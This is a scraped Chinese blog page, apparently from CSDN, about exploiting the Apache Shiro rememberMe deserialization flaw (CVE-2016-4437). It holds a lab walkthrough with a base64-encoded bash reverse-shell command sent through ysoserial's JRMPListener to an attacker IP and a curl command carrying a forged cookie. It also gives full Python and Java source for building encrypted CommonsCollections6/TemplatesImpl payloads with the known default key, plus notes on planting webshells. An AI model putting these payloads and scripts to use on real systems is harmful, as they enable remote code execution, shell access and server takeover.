精华内容
下载资源
问答
  • shiro反序列化复现.zip

    2019-08-03 23:37:14
    shiro反序列化复现工具包;shiro反序列化复现工具包;
  • 四郎检查 3.0增加了一些回显有效载荷,增加了基于过滤器(需要对冰蝎客户端pageContext进行改造)和servlet(部分环境需要把参数据进行URL转码)内存冰蝎的支持。 2.0增加了回显,及100个键,20个键的扫描选项,...
  • shiro反序列化

    千次阅读 2021-05-12 13:18:14
    shiro反序列化


    CVE-2016-4437
    服务器:192.168.43.127
    攻击机:192.168.43.149

    1 原理

    shiro有记住密码的功能,密码是一段存储的cookie,其中shiro记住密码,功能就是下次登录不用再输入密码了,走了以下流程 反序列化-base64-aes加密,可以伪造一个带有bash反弹shell的cookie,流程暂定,还需要再次确认。

    http://192.168.43.127:8080
    样子
    在这里插入图片描述
    特征
    在这里插入图片描述
    burp-shiro插件也检测出来了key

    在这里插入图片描述

    2 复现方式

    (1)使用现成的工具,一键利用,反弹shell
    工具下载链接
    目测dnslog可以成功,其他都不行
    无需选择,自动跑
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    反弹shell,在kali机开启监听
    在这里插入图片描述
    在这里插入图片描述
    kali接收到shell在这里插入图片描述

    (2)使用反序列化,暂时不太成功,暂时拿不到反弹的shell,正在反思原因,反思后,问题解决,使用CommonsCollections6

    • java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE0OS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-I}”
      bash往192.168.43.149弹shell
      在这里插入图片描述
    • python3 shiro.py 192.168.43.149:6666

    在这里插入图片描述

    • 发送payload,200成功
      在这里插入图片描述

    • 弹回来shell
      在这里插入图片描述

    发送cookie的curl方法,虽然是405,也可以弹回来shell
    实际测试,即使不加/doLogin,直接给端口发也可以成功
    curl -H “Cookie:rememberMe=dX3OOTh9SgeaquQwE0rhN5uE9GvMyuGHY212yGd+WfCLN2Wh7tj2bsFbYr4bFbxrQkuqNP8EKOuVImFxBSc+wdNP3jZprzQESs2rsfYt+EoIZ1PVES9ef43sC4CgC5hJXPUAVq2OWXmv+f6Nd1UV7AH8wtuN0frTWF1f6188Te3gQ5QZKAi3k5PF9RAFQMG5xWBhxr4UR/dX+aMZdcc4z5SdjoUX9qlGg3lnnUSjeAA+JT4akLH2QR7TTjYUu6XyDzOXLfgoZNzb1oVcj2bPDPZOguWdRfQ9j6lFa3TauxBUhx3qnUaixfo94hvNWITOE9EkC842B83IPEFAb4/t/CmJGJ7EiIv+RIjdE8EssPgtNZbuptdXKYkCMGmtDW4+i3Aa+pZ/enAJhTlOoJ6gIQ==” -I http://192.168.43.127:8080/doLogin

    在这里插入图片描述
    在这里插入图片描述

    shiro.py的源码

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        print("encode_rememberMe={0}".format(payload.decode()))
    

    在这里插入图片描述

    3 待解决的问题

    • key是什么,作用是什么
    • cookie识别调用的过程
    • 生成cookie的代码是否可以自己写,其中网上错误的代码导致报错,原因是print少了一对括号,还是要有自己的判断能力。在这里插入图片描述

    在这里插入图片描述

    错误示范

    • kail使用ysoserial启一个1099端口
      那一段是bash反弹shell经过base64加密的代码,但是CommonsCollections4无法成功
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMTQ5Lzk5OTkgMD4mMQo=}|{base64,-d}|{bash,-i}"
    

    在这里插入图片描述

    4 参考链接

    (1)https://xz.aliyun.com/t/9488			#反弹shell的其他形式
     (2) https://blog.csdn.net/m0_48520508/article/details/107770264?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522162079768016780269831639%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=162079768016780269831639&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-107770264.first_rank_v2_pc_rank_v29&utm_term=cve-2016-4437			#maven和ysoserial配置
    

    在这里插入图片描述

    展开全文
  • shiro反序列化进攻综合利用 项目基于javafx,利用shiro反序列化扩展进行回显命令执行以及注入类别内存马 检出唯一密钥(SimplePrincipalCollection)cbc / gcm Tomcat / Springboot回显命令执行 集成公用集合K1 / ...
  • Shiro反序列化检测工具 ShiroScan用于检测存在四郎反序列化漏洞的关键值。有三种方式进行检测,第一种是利用URLDNS进行检测,第二种利用命令执行进行检测,第三种使用SimplePrincipalCollection序列化后进行检测...
  • 学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把TemplatesImpl动态加载字节码还有它的应用CC3给学了,所以学习一下这篇文章。P神主要的还是结合CC6这个通用链,来对1.2.4及其之前的...

    前言

    看了点Servlet就回来直接看《Java安全漫谈》了,赶紧学点东西,过几天开学回去背sb马原就学不了了。

    学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把TemplatesImpl动态加载字节码还有它的应用CC3给学了,所以学习一下这篇文章。P神主要的还是结合CC6这个通用链,来对1.2.4及其之前的shiro存在的漏洞进行攻击,其中利用TemplatesImpl来对CC6进行改进。我个人感觉其实叫CC3在Shiro的应用更为确切,所以我也是主要对CC3进行修改。来进行利用。

    Shiro的基本了解

    关于Shiro第一反应肯定就是rememberMe。了解一下:

    为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本及其之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

    这个漏洞也叫shiro-550

    流程是这样的:

    得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

    shiro的特征:

    未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

    登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

    不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

    勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

    shiro<=1.2.4的版本中,这个固定的key位于org.apache.shiro.mgt.AbstractRememberMeManager

    public abstract class AbstractRememberMeManager implements RememberMeManager {
    
        /**
         * private inner log instance.
         */
        private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
    
        /**
         * The following Base64 string was generated by auto-generating an AES Key:
         * <pre>
         * AesCipherService aes = new AesCipherService();
         * byte[] key = aes.generateNewKey().getEncoded();
         * String base64 = Base64.encodeToString(key);
         * </pre>
         * The value of 'base64' was copied-n-pasted here:
         */
        private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    
    

    因为学习环境中加上了CommonsCollections,因此反序列化利用CC。

    分析

    正常构造POC就是这样:

            byte[] payloads = new CommonsCollections6().getPayload();
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    
            ByteSource ciphertext = aes.encrypt(payloads, key);
            System.out.printf(ciphertext.toString());
    

    得到CC6的字节数组,然后对其进行AES加密再进行BASE64加密,得到payload。这里利用了shiro内置的类进行加密。

    然后打过去,会发现报了错:

    在这里插入图片描述

    [L是一个JVM的标记,说明实际上这是一个数组,也就是说不能加载这个Transformer[]

    具体出了什么问题不是目前的我们研究的重点,具体可以参考一下参考链接中的文章。

    结论就是,shiro的反序列化利用中,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

    所以就要想办法利用TemplatesImpl的动态加载字节码来防止出现数组了。

    联想一下CC3的后半部分:

            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",new byte[][]{code});
            setFieldValue(templates,"_name","feng");
            Transformer[] fakeTransformers = new Transformer[]{
                    new ConstantTransformer(1)
            };
            Transformer[] trueTransformers = new Transformer[]{
                    new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
                    new InstantiateTransformer(
                            new Class[]{Templates.class},
                            new Object[]{templates}
                    )
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
    

    这里也用到了数组,但是只有两个元素,想办法不用数组的简化关键就在于,ConstantTransformer的省略。

    为什么可以省略?其实并不是省略,关键就在于在整个CC3中,整个链子调用到了LazyMapget()方法的时候:

        public Object get(Object key) {
            // create value for key if key is not currently in the map
            if (map.containsKey(key) == false) {
                Object value = factory.transform(key);
                map.put(key, value);
                return value;
            }
            return map.get(key);
        }
    

    接下来本来是应该让调用了那个Chainedtransformertransform,然后依次调用数组中的transformer。但是关键是,factory.transform(key)是把key给传了进去。也就是说,其实这个传入的key完全可以代替一个ConstantTransformer。这样一简化,Transformer[]里面只有一个了,就干脆直接用了,不需要用chain了。

    既然有了思路,再写一下。首先字节码的处理:

            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",new byte[][]{code});
            setFieldValue(templates,"_name","feng");
    

    然后产生一个fakeTransformers,用来防止在构造的过程中弹了计算器。真正的Transformers不用数组,剩下的直接抄CC3就可以了:

            Transformer fakeTransformers = new ConstantTransformer(1);
    
    
            Transformer trueTransformers = new InstantiateTransformer(
                            new Class[]{Templates.class},
                            new Object[]{templates}
                    );
    
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);
    
            TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
            Map expMap = new HashMap();
    
            expMap.put(tiedMapEntry,"feng2");
    

    key的话就是本来的ConstantTransformer里面的东西了。

    接下来就是把fake换成true:

            outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
    
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Field factoryField = clazz.getDeclaredField("factory");
            factoryField.setAccessible(true);
            factoryField.set(outerMap,trueTransformers);
            byte[] bytes = serialize(expMap);
            unserialize(bytes);
    

    构造完成!实际上只是在CC3的基础上,把数组改掉就可以了。

    产生payload然后去打即可:

    package com.summer.cc6;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InstantiateTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import javax.xml.transform.Templates;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.Map;
    
    
    public class CommonsCollections6 {
        public byte[] getPayload() throws Exception{
            ClassPool pool = ClassPool.getDefault();
            CtClass clazzz = pool.get("EvilTest");
            byte[] code = clazzz.toBytecode();
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",new byte[][]{code});
            setFieldValue(templates,"_name","feng");
    
            Transformer fakeTransformers = new ConstantTransformer(1);
    
    
            Transformer trueTransformers = new InstantiateTransformer(
                            new Class[]{Templates.class},
                            new Object[]{templates}
                    );
    
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);
    
            TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
            Map expMap = new HashMap();
    
            expMap.put(tiedMapEntry,"feng2");
    
            outerMap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
    
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Field factoryField = clazz.getDeclaredField("factory");
            factoryField.setAccessible(true);
            factoryField.set(outerMap,trueTransformers);
    
            byte[] bytes = serialize(expMap);
            return bytes;
        }
        public static void unserialize(byte[] bytes) throws Exception{
            try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
                ObjectInputStream oin = new ObjectInputStream(bain)){
                oin.readObject();
            }
        }
    
        public static byte[] serialize(Object o) throws Exception{
            try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
                ObjectOutputStream oout = new ObjectOutputStream(baout)){
                oout.writeObject(o);
                return baout.toByteArray();
            }
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
    }
    
    package com.summer.shiro;
    
    import com.summer.cc6.CommonsCollections6;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    import java.util.Base64;
    
    public class ShiroLearn {
        public static void main(String[] args) throws Exception{
            createPayload();
        }
        public static void createPayload() throws Exception{
            byte[] payloads = new CommonsCollections6().getPayload();
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            ByteSource ciphertext = aes.encrypt(payloads, key);
            System.out.printf(ciphertext.toString());
    
        }
    }
    
    

    在这里插入图片描述

    一个小改动就是:

            ClassPool pool = ClassPool.getDefault();
            CtClass clazzz = pool.get("EvilTest");
            byte[] code = clazzz.toBytecode();
    

    利用了javassist

    这是一个字节码操纵的第三方库,可以帮助我将恶意类 生成字节码再交给 TemplatesImpl 。

    很方便了,使用的话直接去maven仓库在pom.xml里写依赖就可以用了。

    P神也提到了这个:

    Shiro不是遇到Tomcat就一定会有数组这个问题

    Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了

    总结

    也算是第一次接触shiro了,只不过其实只能算最前面的知识叭,因为主要还是去学习CC3的改动(CC6的改动),去了解动态加载字节码。加油加油。

    参考链接

    《Java安全漫谈》

    https://www.freebuf.com/vuls/264079.html

    https://blog.zsxsoft.com/post/35

    展开全文
  • Shiro反序列化的检测与利用

    千次阅读 2021-02-25 09:47:16
    1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能。 2. 环境搭建 环境搭建vulhub ...4. 自动检测Shiro反序列化之burp插件 https://g

    1. 前言

    Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证、授权、密码套件和会话管理等功能。

    2. 环境搭建

    环境搭建vulhub

    3. 如何发现

    第一种情况

    返回包中包含rememberMe=deleteMe这个字段

    第二种情况

    直接发送原数据包,返回的数据中不存在关键字
    可以通过在发送数据包的cookie中增加字段:
    rememberMe=deleteMe
    然后查看返回数据包中是否存在关键字。

    4. 自动检测Shiro反序列化之burp插件

    https://github.com/Daybr4ak/ShiroScan

    使用效果

    5. 利用漏洞进行攻击

    通过以上内容,我们已经找到burp,接下来就是进行攻击利用。

    直接上工具:

    没有工具的可以去这篇文章下下载:
    [https://bbs.zkaq.cn/Index/s/yBAwHerO

    ]()

    步骤1

    步骤2

    步骤3

    6. 反弹shell

    现在kali开启监听

    工具执行

    反弹成功

    7. 写入webshell

    同样的原理可以写webshell,有时候自带的木马写不成功。

    可以换成自己的马木,如冰蝎自带的。

    写入webshell

    链接冰蝎

    Webshell管理工具连接不上。

    换个工具继续怼

    https://github.com/j1anFen/shiro_attack

    蚁剑链接

    注意:蚁剑马->CUSTOM类型->请求返回均hex编码

    至此Shiro的整个发现,利用的整个过程。

    展开全文
  • Shiro反序列化命令执行漏洞分析 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的...

    Shiro反序列化命令执行漏洞分析

    一、shiro组件介绍

    Apache Shiro是一个强大且易用的Java安全框架,执行身份认证、授权、加密和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    二、漏洞分析

    shiro版本:<=1.2.24
    漏洞触发点
    org.apache.shiro:shiro-core.DefaultSecurityManager的resolvePrincipals函数位置。再该函数位置下断点,使用如下带有rememberMe的Cookie参数发起请求。
    在这里插入图片描述

    断点位置
    在这里插入图片描述跟进该函数
    Base64解密返回byte字节数组
    在这里插入图片描述
    在这里插入图片描述

    继续跟进函数converBytesToPrincipals函数
    在这里插入图片描述decrype就是解密函数,deserialize将解密后的字节码进行反序列化。
    跟进decrype函数就能发现固定的秘钥
    在这里插入图片描述

    三、分析总结

    接收到rememberMe以后先进行base64解密,再进行AES解密,然后再进行反序列化,进而触发漏洞。
    payload的构造思路
    先生成反序列化的字节码,然后进行AES加密,再进行base64加密。

    展开全文
  • 1、寻找目标 首先FOFA找一个环境,检测工具检测一下 发现目标,开干! 2、开启监听 首先在vps运行nc 监听一个端口 nc -lvp 666 列出需要使用的反弹指令 bash -i >&......
  • Shiro_exploit用于检测与利用Apache Shiro反序列漏洞脚本。可以帮助企业发现自身安全漏洞。 该脚本通过网络收集到的22个键,利用ysererial工具中的URLDNS这个Gadget,并结合dnslog平台实现入侵检测。突破利用则...
  • shiro反序列化脚本.zip

    2021-07-28 00:22:47
    需要用到的俩个文件 ysoserial-master.jar 和 poc.py
  • docker pull medicean/vulapps:s_shiro_1 docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1 yum install python3-devel pip3 install pycryptodome shiro.py # pip install pycrypto import sys ...
  • Java 通过 writeObject 序列化将对象保存为二进制数据流,通过 readObject 反序列化序列化后的二进制重新反序列化为 Java 对象,如果一个类 readObject 方法被重写,反序列化时调用的是重写后的 readObject 方法,...
  • Apache-shiro反序列化

    千次阅读 2020-04-22 16:57:42
    docker pull medicean/vulapps:s_shiro_1 重启docker systemctl restart docker 启动docker镜像: docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 访问: http://localhost:8081/ 环境搭建成功 ...
  • 记录一次shiro反序列化getshell

    千次阅读 2019-08-02 15:22:41
    一个站 ...一个包,发现有shiro反序列漏洞 使用ysoserial URLDNS模块探测 java -jar ysoserial.jar URLDNS "http://`whoami`.xxxx.ceye.io">payload.dat python2 shiro-encode.py # -*...
  • Apache Shiro 反序列化(CVE-2016-4437)复现

    千次阅读 2020-08-03 18:02:58
    这个漏洞属于java反序列漏洞的一种,shiro是java的一个开发框架执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用...
  • Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。 二、环境搭建 ...
  • 反序列化利用工具
  • shiro反序列化生成KEY

    2021-06-29 15:38:16
    shiro反序列化生成KEY 简介 Shiro反序列化时候的第一步需要猜KEY,此番操作就像遍历弱口令似的。 生成KEY的代码 #shengcheng.java import org.apache.shiro.codec.Base64; import javax.crypto.KeyGenerator; ...
  • Jeecms 是一个开源企业客户关系管理快速开发基础平台,Java企业应用开源框架,Java EE(J2EE)快速开发框架,使用经典技术组合(Spring、Spring MVC、Apache Shiro、hibernate4、EasyUI、Jqgrid、Bootstrap UI),...
  • Apache Shiro 反序列化RCE漏洞

    千次阅读 2018-07-02 02:41:00
    漏洞类型 :JAVA反序列化(RCE) 影响版本 :Apache Shiro 1.2.4及其之前版本 漏洞评级 :高危 漏洞分析 #: 下载漏洞环境: git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 工具...
  • Shiro1.2.4及以下版本存在反序列化漏洞,该工具用于测试该漏洞。
  • Shiro RememberMe 1.2.4反序列化突破(SHIRO-550) commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-...
  • 061-Apache Shiro 反序列化之殇.pdf
  • 09-一次Shiro反序列化引起的域控沦陷.pdf
  • 漏洞检测工具
  • 基于“Apache Shiro反序列化”漏洞谈网络安全问题防范.pdf
  • 图形界面,该工具支持漏洞检测,请勿用作非法途径,否则后果自负。 Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果...
  • 1.shiro反序列漏洞、暴力破解漏洞检测工具源码 2.shiro反序列漏洞、暴力破解漏洞检测工具jar包 3.shiro反序列漏洞、暴力破解漏洞检测工具启动方法 4.shiro反序列漏洞、暴力破解漏洞检测工具使用方法 5.shiro...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,311
精华内容 1,724
关键字:

shiro反序列化